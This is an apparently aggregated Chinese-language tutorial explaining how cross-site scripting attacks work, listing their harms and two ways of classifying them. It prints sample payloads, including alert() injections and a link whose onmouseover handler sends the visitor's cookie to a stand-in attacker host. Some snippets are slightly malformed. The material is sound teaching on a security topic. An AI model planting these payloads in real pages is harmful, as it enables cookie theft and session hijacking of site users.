前端xss攻击的原理
概念說明
Xss(cross-site scripting)攻擊指的是攻擊者往Web頁面里插入惡意html標簽或者javascript代碼,當用戶瀏覽該頁或者進行某些操作時,攻擊者利用用戶對原網站的信任,誘騙用戶或瀏覽器執行一些不安全的操作或者向其它網站提交用戶的私密信息。
比如:攻擊者在論壇中放一個看似安全的鏈接,騙取用戶點擊后,竊取cookie中的用戶私密信息;或者攻擊者在論壇中加一個惡意表單,當用戶提交表單的時候,卻把信息傳送到攻擊者的服務器中,而不是用戶原本以為的信任站點。
諸如此類,唯一能完全杜絕xss攻擊的方法,就是禁用script,img等,顯然這是不靠譜的,用戶需要豐富的頁面內容;當然我們可以用一些方法預防xss攻擊,盡量減少xss造成的危害。
XSS攻擊的危害包括:
盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
盜竊企業重要的具有商業價值的資料
非法轉賬
強制發送電子郵件
網站掛馬
控制受害者機器向其它網站發起攻擊
舉例:
<body background=”javascript:alert(‘xss webjiaocheng!’)”>
<iframe src=javascript:alert(‘xss webjiaocheng!’)”>
<body οnlοad=”a();”><script>function a(){alert(‘xss webjiaocheng!’)”></script></body>
xss攻擊分類:
分類方法一
xss攻擊分為兩類:從其它站點到應用站點的攻擊、從應用站點到同站或其它站點的攻擊。
從其它站點到應用站點的攻擊:故名思義,這種攻擊是由外部發起的,來自email或其它站點。這種攻擊在用戶點擊鏈接,下載圖片或者提交表單的時候,對應用網站進行了意想之外的操作。
通常用戶登錄后會得到一個可用session,xss攻擊者可以利用這個session,越過用戶驗證,進行一些不安全的操作,如下:
<a href = “http:// www.2cto.com /addComment.php?subject = I am owned” >Check it out!</a>
通過這個鏈接,只要用戶登錄了,就會發送一個subject,即使在其它網站上。
正因如此,一般的郵箱客戶端不會自動從不信任的網站上加載圖片(因為考慮到可以通過img的src屬性向第三方站點發送GET請求);另外,可以設置session的過期時間,讓session自動失效。
從應用站點到同站或其它站點的攻擊:這種攻擊,通常是攻擊者在應用站點上通過發表評論,或者其它方式嵌入代碼,當用戶加載頁面或者點擊鏈接就會產生一些意想之外的操作。
如下:
<a href=”#” onmouseover = “window.location ='http://reallybadguys.net/collectCookie.php?cookie =' + documentcookie.escape();” >Check it out!</a>
當用戶滑過鏈接,就會將cookie信息發到攻擊者的服務器上。
分類方法二
xss的另一種分類方法(個人感覺更清楚),將xss攻擊分為兩種:
類型A:本地利用漏洞,這種漏洞存在于頁面中客戶端腳本自身。
其攻擊過程如下:
A給B發送一個惡意構造了Web的URL。B點擊并查看了這個URL。
惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面并將其安裝在Bob電腦上。具有漏洞的HTML頁面包含了在B電腦本地域執行的JavaScript。
A的惡意腳本可以在Bob的電腦上執行B所持有的權限下的命令。
類型B:反射式漏洞
這種漏洞和類型A有些類似,不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數據時,如果未經驗證的用戶數據被包含
在頁面中而未經HTML實體編碼,客戶端代碼便能夠注入到動態頁面中。
總結
以上是生活随笔為你收集整理的前端xss攻击的原理的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [云炬创业基础笔记]第二章创业者测试7
- 下一篇: 最先进的响应式前端框架:Foundati